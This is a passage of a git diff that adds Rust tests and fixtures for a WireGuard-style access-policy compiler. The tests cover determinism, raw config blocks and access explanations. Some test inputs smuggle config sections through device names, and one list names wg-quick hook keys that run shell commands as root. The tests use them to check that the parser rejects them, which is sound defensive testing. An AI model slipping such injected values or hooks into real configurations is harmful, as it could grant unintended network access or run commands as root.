format!( + r#"{{"format":1,"people":[{{"id":"jana","name":{}}}]}}"#, + serde_json::to_string(evil).unwrap() + ); + let err = roads::Directory::parse(json.as_bytes()).unwrap_err(); + assert!( + err.iter().any(|p| p.code == rules::DIRECTORY_NAME), + "{evil:?}" + ); + } + // Device names are only a-z 0-9 -. + let parts = Parts::home() + .edit_devices(|d| d.replace(r#""name": "router""#, r#""name": "router\n[Peer]""#)); + assert!( + parts + .compile() + .problems + .iter() + .any(|p| p.code == rules::DEVICES_NAME) + ); +} + +#[test] +fn r56_a_large_store_compiles_in_bounded_time() { + // 2,000 devices, 400 people, 10,000 roads (the store limit). Recorded in the PR; the bound is generous for debug builds. + let people = 400; + let mut directory = String::from(r#"{"format":1,"people":["#); + directory += &(0..people) + .map(|p| format!(r#"{{"id":"p{p}","name":"P{p}"}}"#)) + .collect::>() + .join(","); + directory += r#"],"groups":[{"id":"all","name":"All","members":["#; + directory += &(0..people) + .map(|p| format!("\"p{p}\"")) + .collect::>() + .join(","); + directory += "]}]}"; + let devs = 2_000usize; + let mut devices = String::from(r#"{"format":1,"devices":["#); + devices += &(0..devs) + .map(|i| { + let mut b = [0u8; 32]; + b[..8].copy_from_slice(&(i as u64 + 1).to_be_bytes()); + let k = roads::DeviceKey::from_bytes(&b); + let svc = if i % 10 == 0 { + format!(r#","services":[{{"host":"s{i}.test","ports":["tcp/443"]}}]"#) + } else { + String::new() + }; + format!( + r#"{{"key":"{k}","name":"d{i}","owner":"p{}","address":"100.{}.{}.{}"{svc}}}"#, + i % people, + 64 + i / 65536, + (i / 256) % 256, + i % 256 + ) + }) + .collect::>() + .join(","); + devices += "]}"; + let roads: Vec<(String, Vec)> = (0..10_000usize) + .map(|i| { + let id = format!("{i:06}"); + let subject = if i % 100 == 0 { + "group:all".to_string() + } else { + format!("person:p{}", i % people) + }; + let text = road( + &id, + &[ + &format!("subject: {subject}"), + "verb: can-reach", + &format!("object: service:s{}.test", (i % (devs / 10)) * 10), + ], + ); + (format!("{id}-r.md"), text.into_bytes()) + }) + .collect(); + let t = std::time::Instant::now(); + let store = + roads::Store::from_parts(&roads, Some(directory.as_bytes()), Some(devices.as_bytes())); + let c = compile(&store, common::now()); + let took = t.elapsed(); + let rules: usize = c.plans.values().map(|p| p.firewall.rules.len()).sum(); + eprintln!( + "r56: {} roads, {devs} devices, {} grants, {rules} firewall rules in {took:?}", + store.roads.len(), + c.grants.len() + ); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems.first()); + assert!(took < std::time::Duration::from_secs(60), "took {took:?}"); +} diff --git a/crates/roads/tests/common/mod.rs b/crates/roads/tests/common/mod.rs new file mode 100644 index 0000000..c7cae2f --- /dev/null +++ b/crates/roads/tests/common/mod.rs @@ -0,0 +1,151 @@ +//! Shared test helpers: the `home` fixture store and in-memory stores. No real network, no real keys: device +//! keys are 32 repeated bytes. + +#![allow(dead_code)] + +use jiff::Timestamp as Instant; +use roads::{Compiled, DeviceKey, Store, compile}; +use std::path::PathBuf; + +pub const NOW: &str = "2026-11-25T12:00:00+01:00"; + +pub fn now() -> Instant { + at(NOW) +} + +pub fn at(s: &str) -> Instant { + s.parse().unwrap() +} + +/// The fixture device key `n`: 32 bytes of `n`. +pub fn key(n: u8) -> DeviceKey { + DeviceKey::from_bytes(&[n; 32]) +} + +pub fn fixtures() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("fixtures") +} + +pub fn home_dir() -> PathBuf { + fixtures().join("home") +} + +/// The home store as bytes: road files (name, contents), directory.json, devices.json. +pub struct Parts { + pub roads: Vec<(String, Vec)>, + pub directory: Vec, + pub devices: Vec, +} + +impl Parts { + pub fn home() -> Parts { + let dir = home_dir(); + let mut roads = Vec::new(); + for e in std::fs::read_dir(dir.join("roads")).unwrap() { + let e = e.unwrap(); + roads.push(( + e.file_name().to_string_lossy().into_owned(), + std::fs::read(e.path()).unwrap(), + )); + } + roads.sort(); + Parts { + roads, + directory: std::fs::read(dir.join("directory.json")).unwrap(), + devices: std::fs::read(dir.join("devices.json")).unwrap(), + } + } + + pub fn store(&self) -> Store { + Store::from_parts(&self.roads, Some(&self.directory), Some(&self.devices)) + } + + pub fn compile(&self) -> Compiled { + compile(&self.store(), now()) + } + + pub fn with_road(mut self, name: &str, text: &str) -> Parts { + self.roads + .push((name.to_string(), text.as_bytes().to_vec())); + self + } + + pub fn without_road(mut self, prefix: &str) -> Parts { + let before = self.roads.len(); + self.roads.retain(|(n, _)| !n.starts_with(prefix)); + assert_eq!( + self.roads.len() + 1, + before, + "no road file starts with {prefix}" + ); + self + } + + pub fn road_text(&self, prefix: &str) -> String { + let (_, b) = self + .roads + .iter() + .find(|(n, _)| n.starts_with(prefix)) + .expect("a road"); + String::from_utf8(b.clone()).unwrap() + } + + pub fn replace_road(mut self, prefix: &str, text: &str) -> Parts { + let slot = self + .roads + .iter_mut() + .find(|(n, _)| n.starts_with(prefix)) + .expect("a road"); + slot.1 = text.as_bytes().to_vec(); + self + } + + pub fn edit_devices(mut self, f: impl FnOnce(&str) -> String) -> Parts { + self.devices = f(std::str::from_utf8(&self.devices).unwrap()).into_bytes(); + self + } + + pub fn edit_directory(mut self, f: impl FnOnce(&str) -> String) -> Parts { + self.directory = f(std::str::from_utf8(&self.directory).unwrap()).into_bytes(); + self + } +} + +/// Every plan as JSON, in device order: the bytes the determinism tests compare. +pub fn plans_bytes(c: &Compiled) -> Vec { + let mut out = Vec::new(); + for p in c.plans.values() { + out.extend_from_slice(p.to_json().as_bytes()); + } + out +} + +/// Whether `from` may open a connection to `dst` on the receiving side, according to the plans: the +/// firewall of the device that owns or routes `dst` has a rule from `from`'s address. +pub fn fw_accepts( + c: &Compiled, + from: &DeviceKey, + dst: std::net::IpAddr, + proto_port: Option<(&str, u16)>, +) -> bool { + let src = c.plans[from].address; + c.plans.values().any(|p| { + p.firewall.rules.iter().any(|r| { + let dst_ok = match r.dst { + roads::plan::Dst::Net(n) => n.contains_addr(&dst), + roads::plan::Dst::Internet => roads::net::Net::host(dst).reaches_internet(), + }; + let port_ok = match (r.proto, r.ports, proto_port) { + (roads::ports::Proto::Any, _, _) => true, + (_, _, None) => false, + (proto, ports, Some((want, port))) => { + format!("{proto:?}").eq_ignore_ascii_case(want) + && ports.is_none_or(|[lo, hi]| lo <= port && port <= hi) + } + }; + r.src.contains_addr(&src.0) && dst_ok && port_ok + }) + }) +} diff --git a/crates/roads/tests/custom.rs b/crates/roads/tests/custom.rs new file mode 100644 index 0000000..fab0eb7 --- /dev/null +++ b/crates/roads/tests/custom.rs @@ -0,0 +1,132 @@ +//! Mandatory test 6: custom roads round-trip unchanged — file → road → canonical file, and road → plan — +//! with awkward raw content; and a custom raw block changes no other device's plan (QA R-40, R-43). + +mod common; + +use common::{Parts, key, plans_bytes}; +use roads::{Body, Road}; + +const KEY5: &str = "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU"; + +fn custom_file(id: &str, raw: &str) -> String { + format!( + "---\nid: {id}\nsubject: device:{KEY5}\nverb: custom\nclassic: true\ncreated: 2026-11-25T10:00:00+01:00\n---\n```raw\n{raw}```\n" + ) +} + +/// Raw blocks that must come back byte for byte. +fn awkward() -> Vec<&'static str> { + vec![ + "", + "[Interface]\nMTU = 1380 \n", + "[Peer]\r\nPublicKey = AAAA\r\nAllowedIPs = 10.9.0.0/24\r\n", + "\tJc = 4\n; a semicolon comment\n# a hash comment\nH1 = 1\nH1 = 2\n", + "```\nnot the end\n```\nstill raw\n", + "unicode: Přidat řazení ✓\n\n\n", + "trailing spaces \n \n", + "---\nid: zzzzzz\n---\n", + ] +} + +#[test] +fn the_fixture_custom_road_renders_back_to_its_own_bytes() { + let parts = Parts::home(); + let text = parts.road_text("x1d7qa"); + let road = Road::parse("roads/x1d7qa-router-imported.md", text.as_bytes()).unwrap(); + assert_eq!(road.render(), text); +} + +#[test] +fn awkward_raw_blocks_round_trip_byte_for_byte() { + for (i, raw) in awkward().into_iter().enumerate() { + let id = format!("e0000{i}"); + let text = custom_file(&id, raw); + let road = Road::parse(&format!("roads/{id}-x.md"), text.as_bytes()) + .unwrap_or_else(|p| panic!("{raw:?}: {p:?}")); + assert_eq!(road.body, Body::Raw(raw.to_string()), "{raw:?}"); + let again = road.render(); + assert_eq!(again, text, "{raw:?} did not render back"); + assert_eq!( + Road::parse(&format!("roads/{id}-x.md"), again.as_bytes()).unwrap(), + road + ); + + // Through the compiler: the plan carries the raw block unchanged, labelled classic. + let c = Parts::home() + .with_road(&format!("{id}-x.md"), &text) + .compile(); + let plan = &c.plans[&key(5)]; + let mine = plan + .custom + .iter() + .find(|x| x.road.as_str() == id) + .expect("the custom block"); + assert_eq!(mine.raw, raw); + assert!(mine.classic); + } +} + +#[test] +fn a_crlf_file_keeps_its_raw_bytes() { + let text = "---\r\nid: e00100\r\nsubject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU\r\nverb: custom\r\ncreated: 2026-11-25T10:00:00+01:00\r\n---\r\n```raw\r\n[Peer]\r\nX = 1\r\n```\r\n"; + let road = Road::parse("roads/e00100-crlf.md", text.as_bytes()).unwrap(); + assert_eq!(road.body, Body::Raw("[Peer]\r\nX = 1\r\n".into())); +} + +#[test] +fn every_canonical_road_in_the_home_store_renders_back_to_its_bytes() { + for (name, bytes) in Parts::home().roads { + let road = Road::parse(&format!("roads/{name}"), &bytes).unwrap(); + assert_eq!(road.render().as_bytes(), &bytes[..], "{name}"); + } +} + +#[test] +fn a_raw_block_with_a_peer_changes_no_other_plan() { + // QA R-40: an expert paste of a whole-network peer stays inside its own device's `custom` list. + let base = Parts::home().compile(); + let raw = "[Peer]\nPublicKey = AAAA\nAllowedIPs = 0.0.0.0/0, ::/0\n"; + let c = Parts::home() + .with_road("e00200-paste.md", &custom_file("e00200", raw)) + .compile(); + for (k, p) in &base.plans { + if *k == key(5) { + assert_eq!(c.plans[k].peers, p.peers, "the router's own peers changed"); + assert_eq!(c.plans[k].firewall, p.firewall); + continue; + } + assert_eq!(c.plans[k].to_json(), p.to_json(), "{} changed", p.name); + } + assert_ne!( + plans_bytes(&c), + plans_bytes(&base), + "the block is carried in the router's plan" + ); +} + +#[test] +fn hooks_in_a_raw_block_are_refused_in_any_spelling() { + // QA R-41: wg-quick runs these with bash as root. + for line in [ + "PostUp = x", + "postup=x", + " PreUp = x", + "PreDown = x", + "PostDown = x", + "SaveConfig = true", + "Table = off", + "FwMark = 51820", + " POSTUP =x", + ] { + let text = custom_file("e00300", &format!("[Interface]\n{line}\n")); + let err = Road::parse("roads/e00300-hook.md", text.as_bytes()).unwrap_err(); + assert!( + err.iter() + .any(|p| p.code == roads::rules::BODY_RAW_HOOK && p.line == Some(10)), + "{line}: {err:?}" + ); + } + // A key that merely contains a hook's name is fine. + let text = custom_file("e00301", "PostUpgradeNote = no\n"); + assert!(Road::parse("roads/e00301-ok.md", text.as_bytes()).is_ok()); +} diff --git a/crates/roads/tests/determinism.rs b/crates/roads/tests/determinism.rs new file mode 100644 index 0000000..c60420c --- /dev/null +++ b/crates/roads/tests/determinism.rs @@ -0,0 +1,111 @@ +//! Mandatory test 4: the same input compiles byte-identically — twice, with every input list shuffled, with +//! CRLF road files, and against committed golden plans (`tests/fixtures/home/expected/`, regenerated with +//! `VIA_BLESS=1` only on purpose). + +mod common; + +use common::{Parts, home_dir, plans_bytes}; + +#[test] +fn the_same_input_gives_the_same_bytes_twice() { + let a = plans_bytes(&Parts::home().compile()); + let b = plans_bytes(&Parts::home().compile()); + assert!(!a.is_empty()); + assert_eq!(a, b); +} + +fn reversed_json_lists(text: &str, open: &str) -> String { + // Reverses the one-line items of the JSON list that starts at `open` (the fixtures keep one item per + // line, multi-line items are joined first). + let start = text.find(open).unwrap() + open.len(); + let end = start + text[start..].find("\n ]").unwrap(); + let body = &text[start..end]; + let mut items: Vec = Vec::new(); + let mut cur = String::new(); + let mut depth = 0i32; + for ch in body.chars() { + match ch { + '{' | '[' => depth += 1, + '}' | ']' => depth -= 1, + _ => {} + } + if ch == ',' && depth == 0 { + items.push(cur.trim().to_string()); + cur.clear(); + } else { + cur.push(ch); + } + } + items.push(cur.trim().to_string()); + items.reverse(); + format!( + "{}\n {}{}", + &text[..start], + items.join(",\n "), + &text[end..] + ) +} + +#[test] +fn shuffled_inputs_give_the_same_bytes() { + // QA R-53: file order, people, devices and group members reversed. + let base = plans_bytes(&Parts::home().compile()); + let mut parts = Parts::home(); + parts.roads.reverse(); + let parts = parts + .edit_devices(|d| reversed_json_lists(d, "\"devices\": [")) + .edit_directory(|d| { + reversed_json_lists(d, "\"people\": [") + .replace(r#"["mark", "jana"]"#, r#"["jana", "mark"]"#) + }); + assert_ne!( + parts.devices, + Parts::home().devices, + "the device list really was reordered" + ); + assert_eq!(plans_bytes(&parts.compile()), base); +} + +#[test] +fn crlf_road_files_compile_like_lf_ones() { + // QA R-39. The custom road's raw block is kept byte for byte, CR included, so it stays LF here. + let base = plans_bytes(&Parts::home().compile()); + let mut parts = Parts::home(); + for (name, bytes) in parts.roads.iter_mut() { + if !name.starts_with("x1d7qa") { + *bytes = String::from_utf8(bytes.clone()) + .unwrap() + .replace('\n', "\r\n") + .into_bytes(); + } + } + let c = parts.compile(); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems); + assert_eq!(plans_bytes(&c), base); +} + +#[test] +fn plans_match_the_committed_golden_files() { + // QA R-54: no paths, no clock, no locale in the output; the same bytes on every platform. + let c = Parts::home().compile(); + let dir = home_dir().join("expected"); + let bless = std::env::var_os("VIA_BLESS").is_some(); + if bless { + std::fs::create_dir_all(&dir).unwrap(); + } + for p in c.plans.values() { + let path = dir.join(format!("{}.json", p.name)); + if bless { + std::fs::write(&path, p.to_json()).unwrap(); + continue; + } + let want = std::fs::read_to_string(&path) + .unwrap_or_else(|_| panic!("missing golden {}", path.display())); + assert_eq!(p.to_json(), want, "{} differs from its golden file", p.name); + } + assert_eq!( + std::fs::read_dir(&dir).unwrap().count(), + c.plans.len(), + "a golden file without a device" + ); +} diff --git a/crates/roads/tests/explain.rs b/crates/roads/tests/explain.rs new file mode 100644 index 0000000..33a4018 --- /dev/null +++ b/crates/roads/tests/explain.rs @@ -0,0 +1,148 @@ +//! Mandatory test 5: `explain` returns exactly the roads that allow access, and nothing when access is denied +//! — expired, invalid and custom roads included in the store. + +mod common; + +use common::{Parts, key}; +use roads::net::Net; +use roads::{Hostname, Place, explain}; + +fn ids(parts: &Parts, device: u8, place: &Place) -> Vec { + let c = parts.compile(); + let store = parts.store(); + explain(&c, store.devices.as_ref().unwrap(), &key(device), place) + .iter() + .map(|r| r.to_string()) + .collect() +} + +fn service(h: &str) -> Place { + Place::Service(Hostname::new(h).unwrap()) +} + +fn subnet(s: &str) -> Place { + Place::Subnet(Net::parse_canonical(s).unwrap()) +} + +#[test] +fn allowed_lists_exactly_the_allowing_roads() { + let home = Parts::home(); + assert_eq!( + ids(&home, 3, &service("photos.home.arpa")), + ["7tq0mz", "k3f9q2"] + ); + assert_eq!( + ids(&home, 3, &Place::Device(key(2))), + ["7tq0mz", "k3f9q2"], + "a service road reaches part of the device" + ); + assert_eq!(ids(&home, 1, &subnet("192.168.100.0/24")), ["h2x8vd"]); + assert_eq!( + ids(&home, 1, &subnet("192.168.100.10/32")), + ["h2x8vd"], + "a part of a granted subnet" + ); + assert_eq!( + ids(&home, 5, &Place::Device(key(2))), + ["r8m2tg"], + "the custom road is not a grant" + ); +} + +#[test] +fn each_listed_road_is_enough_on_its_own() { + // The listed set is the compiler's own: keep only one listed road and access remains. + let home = Parts::home(); + for keep in ["7tq0mz", "k3f9q2"] { + let mut only = Parts::home(); + only.roads.retain(|(n, _)| n.starts_with(keep)); + assert_eq!(ids(&only, 3, &service("photos.home.arpa")), [keep]); + } + let _ = home; +} + +#[test] +fn denied_returns_nothing_even_with_expired_and_invalid_roads_about_the_place() { + let parts = Parts::home().with_road( + "d00001-jana-lan.md", + "---\nid: d00001\nsubject: person:jana\nverb: can-reach\nobject: subnet:192.168.100.0/24\nuntill: 2026-12-01T00:00:00Z\ncreated: 2026-11-25T10:00:00Z\n---\n", + ); + assert!(parts.compile().errors().any(|p| p.path.contains("d00001"))); + assert!(ids(&parts, 3, &subnet("192.168.100.0/24")).is_empty()); + assert!( + ids(&parts, 7, &service("git.home.arpa")).is_empty(), + "the expired road is not listed" + ); + assert!(ids(&parts, 7, &Place::Device(key(2))).is_empty()); + assert!( + ids(&parts, 3, &subnet("10.0.0.0/8")).is_empty(), + "a place nobody routes" + ); + assert!( + ids(&parts, 3, &service("nowhere.home.arpa")).is_empty(), + "a place that does not exist" + ); +} + +#[test] +fn exits_count_for_the_internet_but_not_for_private_ranges() { + let home = Parts::home(); + assert_eq!(ids(&home, 7, &Place::Exit(key(6))), ["c0z5wn"]); + assert_eq!(ids(&home, 7, &subnet("8.8.8.0/24")), ["c0z5wn"]); + assert!( + ids(&home, 7, &subnet("192.168.1.0/24")).is_empty(), + "an exit is not a way into its LAN" + ); + assert!(ids(&home, 7, &Place::Exit(key(2))).is_empty()); +} + +#[test] +fn going_direct_takes_a_subnet_out_of_the_exit_unless_the_kill_switch_wins() { + let direct = "---\nid: d00002\nsubject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE\nverb: goes-direct\nobject: subnet:8.8.8.0/24\ncreated: 2026-11-25T10:00:00Z\n---\n"; + // mark-pc has a kill switch: it wins, so 8.8.8.0/24 still goes through the exit. + let with_kill = Parts::home().with_road("d00002-direct.md", direct); + assert_eq!(ids(&with_kill, 1, &subnet("8.8.8.0/24")), ["p4n6rb"]); + assert!( + with_kill + .compile() + .problems + .iter() + .any(|p| p.code == roads::rules::DIRECT_KILL_SWITCH && p.path.contains("d00002")) + ); + // Without the kill switch the subnet goes direct, and the exit road no longer explains it. + let without = Parts::home() + .without_road("w9c3ke") + .with_road("d00002-direct.md", direct); + assert!(ids(&without, 1, &subnet("8.8.8.0/24")).is_empty()); + assert_eq!(ids(&without, 1, &subnet("1.1.1.0/24")), ["p4n6rb"]); +} + +#[test] +fn two_roads_granting_the_same_rule_give_one_rule_and_both_explain_it() { + // QA R-16: a diamond. Jana is in two groups whose roads both reach the photos on tcp/443. + let parts = Parts::home() + .edit_directory(|d| d.replace( + r#"{ "id": "household", "name": "Household", "members": ["mark", "jana"] }"#, + r#"{ "id": "household", "name": "Household", "members": ["mark", "jana"] }, + { "id": "friends", "name": "Friends", "members": ["jana"] }"#, + )) + .with_road( + "d00003-friends-photos.md", + "---\nid: d00003\nsubject: group:friends\nverb: can-reach\nobject: service:photos.home.arpa\ncreated: 2026-11-25T10:00:00Z\n---\n", + ); + let c = parts.compile(); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems); + let rules: Vec<_> = c.plans[&key(2)] + .firewall + .rules + .iter() + .filter(|r| r.src.to_string() == "100.96.0.3/32" && r.ports == Some([443, 443])) + .collect(); + assert_eq!(rules.len(), 1, "{rules:?}"); + let roads: Vec = rules[0].roads.iter().map(|r| r.to_string()).collect(); + assert_eq!(roads, ["7tq0mz", "d00003"]); + assert_eq!( + ids(&parts, 3, &service("photos.home.arpa")), + ["7tq0mz", "d00003", "k3f9q2"] + ); +} diff --git a/crates/roads/tests/fixtures/home/devices.json b/crates/roads/tests/fixtures/home/devices.json new file mode 100644 index 0000000..0a20409 --- /dev/null +++ b/crates/roads/tests/fixtures/home/devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/home/directory.json b/crates/roads/tests/fixtures/home/directory.json new file mode 100644 index 0000000..08db0f2 --- /dev/null +++ b/crates/roads/tests/fixtures/home/directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/home/expected/friend-node.json b/crates/roads/tests/fixtures/home/expected/friend-node.json new file mode 100644 index 0000000..2fad880 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/friend-node.json @@ -0,0 +1,51 @@ +{ + "format": 1, + "device": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", + "name": "friend-node", + "address": "100.96.0.6", + "classic": false, + "expires": null, + "peers": [ + { + "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", + "name": "petr-phone", + "address": "100.96.0.7", + "classic": false, + "allowed_ips": [ + "100.96.0.7/32" + ], + "via": null, + "roads": [ + "c0z5wn" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [ + { + "direction": "forward", + "src": "100.96.0.7/32", + "dst": "internet", + "proto": "any", + "ports": null, + "roads": [ + "c0z5wn" + ] + } + ] + }, + "dns": [], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/home-server.json b/crates/roads/tests/fixtures/home/expected/home-server.json new file mode 100644 index 0000000..cae2767 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/home-server.json @@ -0,0 +1,186 @@ +{ + "format": 1, + "device": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "expires": "2026-11-29T22:59:59Z", + "peers": [ + { + "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", + "name": "mark-pc", + "address": "100.96.0.1", + "classic": false, + "allowed_ips": [ + "100.96.0.1/32" + ], + "via": null, + "roads": [ + "h2x8vd", + "k3f9q2", + "p4n6rb" + ] + }, + { + "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", + "name": "jana-phone", + "address": "100.96.0.3", + "classic": false, + "allowed_ips": [ + "100.96.0.3/32" + ], + "via": null, + "roads": [ + "7tq0mz", + "k3f9q2" + ] + }, + { + "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", + "name": "jana-laptop", + "address": "100.96.0.4", + "classic": false, + "allowed_ips": [ + "100.96.0.4/32" + ], + "via": null, + "roads": [ + "7tq0mz", + "k3f9q2" + ] + }, + { + "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", + "name": "router", + "address": "100.96.0.5", + "classic": true, + "allowed_ips": [ + "100.96.0.5/32" + ], + "via": null, + "roads": [ + "r8m2tg" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [ + { + "direction": "in", + "src": "100.96.0.1/32", + "dst": "100.96.0.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, + { + "direction": "in", + "src": "100.96.0.3/32", + "dst": "100.96.0.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, + { + "direction": "in", + "src": "100.96.0.3/32", + "dst": "100.96.0.2/32", + "proto": "tcp", + "ports": [ + 443, + 443 + ], + "roads": [ + "7tq0mz" + ] + }, + { + "direction": "in", + "src": "100.96.0.4/32", + "dst": "100.96.0.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, + { + "direction": "in", + "src": "100.96.0.4/32", + "dst": "100.96.0.2/32", + "proto": "tcp", + "ports": [ + 443, + 443 + ], + "roads": [ + "7tq0mz" + ] + }, + { + "direction": "in", + "src": "100.96.0.5/32", + "dst": "100.96.0.2/32", + "proto": "tcp", + "ports": [ + 22, + 22 + ], + "roads": [ + "r8m2tg" + ] + }, + { + "direction": "in", + "src": "100.96.0.5/32", + "dst": "100.96.0.2/32", + "proto": "udp", + "ports": [ + 53, + 53 + ], + "roads": [ + "r8m2tg" + ] + }, + { + "direction": "forward", + "src": "100.96.0.1/32", + "dst": "192.168.100.0/24", + "proto": "any", + "ports": null, + "roads": [ + "h2x8vd" + ] + }, + { + "direction": "forward", + "src": "100.96.0.1/32", + "dst": "internet", + "proto": "any", + "ports": null, + "roads": [ + "p4n6rb" + ] + } + ] + }, + "dns": [], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/jana-laptop.json b/crates/roads/tests/fixtures/home/expected/jana-laptop.json new file mode 100644 index 0000000..48d7921 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/jana-laptop.json @@ -0,0 +1,49 @@ +{ + "format": 1, + "device": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", + "name": "jana-laptop", + "address": "100.96.0.4", + "classic": false, + "expires": "2026-11-29T22:59:59Z", + "peers": [ + { + "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "allowed_ips": [ + "100.96.0.2/32" + ], + "via": null, + "roads": [ + "7tq0mz", + "k3f9q2" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [ + { + "host": "photos.home.arpa", + "address": "100.96.0.2", + "roads": [ + "7tq0mz" + ] + } + ], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/jana-phone.json b/crates/roads/tests/fixtures/home/expected/jana-phone.json new file mode 100644 index 0000000..fcce017 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/jana-phone.json @@ -0,0 +1,49 @@ +{ + "format": 1, + "device": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", + "name": "jana-phone", + "address": "100.96.0.3", + "classic": false, + "expires": "2026-11-29T22:59:59Z", + "peers": [ + { + "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "allowed_ips": [ + "100.96.0.2/32" + ], + "via": null, + "roads": [ + "7tq0mz", + "k3f9q2" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [ + { + "host": "photos.home.arpa", + "address": "100.96.0.2", + "roads": [ + "7tq0mz" + ] + } + ], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/mark-pc.json b/crates/roads/tests/fixtures/home/expected/mark-pc.json new file mode 100644 index 0000000..f6c8f47 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/mark-pc.json @@ -0,0 +1,47 @@ +{ + "format": 1, + "device": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", + "name": "mark-pc", + "address": "100.96.0.1", + "classic": false, + "expires": null, + "peers": [ + { + "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "allowed_ips": [ + "0.0.0.0/0", + "100.96.0.2/32", + "192.168.100.0/24", + "::/0" + ], + "via": null, + "roads": [ + "h2x8vd", + "k3f9q2", + "p4n6rb" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [], + "exit": { + "through": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "roads": [ + "p4n6rb" + ] + }, + "kill_switch": { + "through": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "roads": [ + "w9c3ke" + ] + }, + "direct": [], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/petr-phone.json b/crates/roads/tests/fixtures/home/expected/petr-phone.json new file mode 100644 index 0000000..d63918b --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/petr-phone.json @@ -0,0 +1,46 @@ +{ + "format": 1, + "device": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", + "name": "petr-phone", + "address": "100.96.0.7", + "classic": false, + "expires": null, + "peers": [ + { + "key": 